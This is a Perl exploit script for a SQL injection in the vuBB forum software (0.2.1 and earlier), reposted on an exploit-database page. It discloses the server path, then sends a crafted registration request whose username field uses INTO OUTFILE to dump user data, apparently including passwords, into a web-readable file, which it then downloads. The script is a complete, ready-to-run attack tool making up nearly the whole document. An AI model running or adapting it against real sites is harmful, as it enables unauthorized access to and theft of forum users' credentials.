vuBB <= 0.2.1 [BFA] SQL Injection Exploit + Advisory link

Advisory Content :

#!/usr/bin/perl

#

# by DarkFig -- acid-root.new.fr

# French Advisory (vuBB <= 0.2.1 [BFA] SQL Injection, XSS, CRLF Injection,
Full Path Disclosure): http://www.acid-root.new.fr/advisories/vubb021b.txt

#

use IO::Socket;

use LWP::Simple;

# Header

print "rn+---------------------------------------+", "rn";

print "| vuBB <= 0.2.1 [BFA] SQL Injection -|", "rn";

print "+---------------------------------------+", "rn";

# Usage

if(!$ARGV[2]){

print "| Usage: <host> <path> <username> ------|", "rn";

print "+---------------------------------------+", "rn";

exit;

}

# Host

if($ARGV[0] =~ /http://(.*)/){

$host = $1;

} else {

$host = $ARGV[0];

}

print "[+]Host: $hostrn";

# Var

my $path = $ARGV[1];

my $user = $ARGV[2]; print "[+]User: $userrn";

my $port = 80;

my $fpd = "http://".$host.$path."includes/vubb.php";

my $err1 = "[-]Can't connect to the hostrn";

my $err2 = "[-]Can't retrieve the full pathrn";

my $err3 = "[-]Can't retrieve the resultsrn";

my $poti = "POST "."$path"."index.php?act=register&action=register"."
HTTP/1.1";

# Full Path Disclosure

$req0 = get($fpd) or die print $err1 and end();

if($req0 =~ /in <b>(.*)/includes/vubb.php</b>/) {

$fullpath = $1."/thisismypasswd.txt";

print "[+]Path: $1rn";

} else {

print $err2 and end();

}

# Malicious data

my $pdat =
"user=$user"."%27+INTO+OUTFILE+%27"."$fullpath"."%27%23"."&email=a669c45
70f%40hotmail.com&vemail=a669c4570f%40hotmail.com&pass=mypassword&vpass=
mypassword&agreement=iacceptohackit&agree=on";

my $ldat = length $pdat;

my $req1 = IO::Socket::INET->new(

PeerAddr => $host,

PeerPort => $port,

Proto => "tcp"

) or print $err1 and end();

print $req1 "$poti", "rn";

print $req1 "Host: $host", "rn";

print $req1 "Content-Type: application/x-www-form-urlencoded", "rn";

print $req1 "Content-Length: $ldat", "rnn";

print $req1 "$pdat", "rn";

close($req1);

# Results

$req2 = get("http://".$host.$path."/thisismypasswd.txt") or print $err3 and
end();

open(f, ">VUBB_RESULT.txt");

print f $req2;

close(f);

print "[+]Done: VUBB_RESULT.txtrn";

end();

# Bye

sub end {

print "+---------------------------------------+", "rn";

exit;

}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

vuBB <= 0.2.1 [BFA] SQL Injection Exploit + Advisory link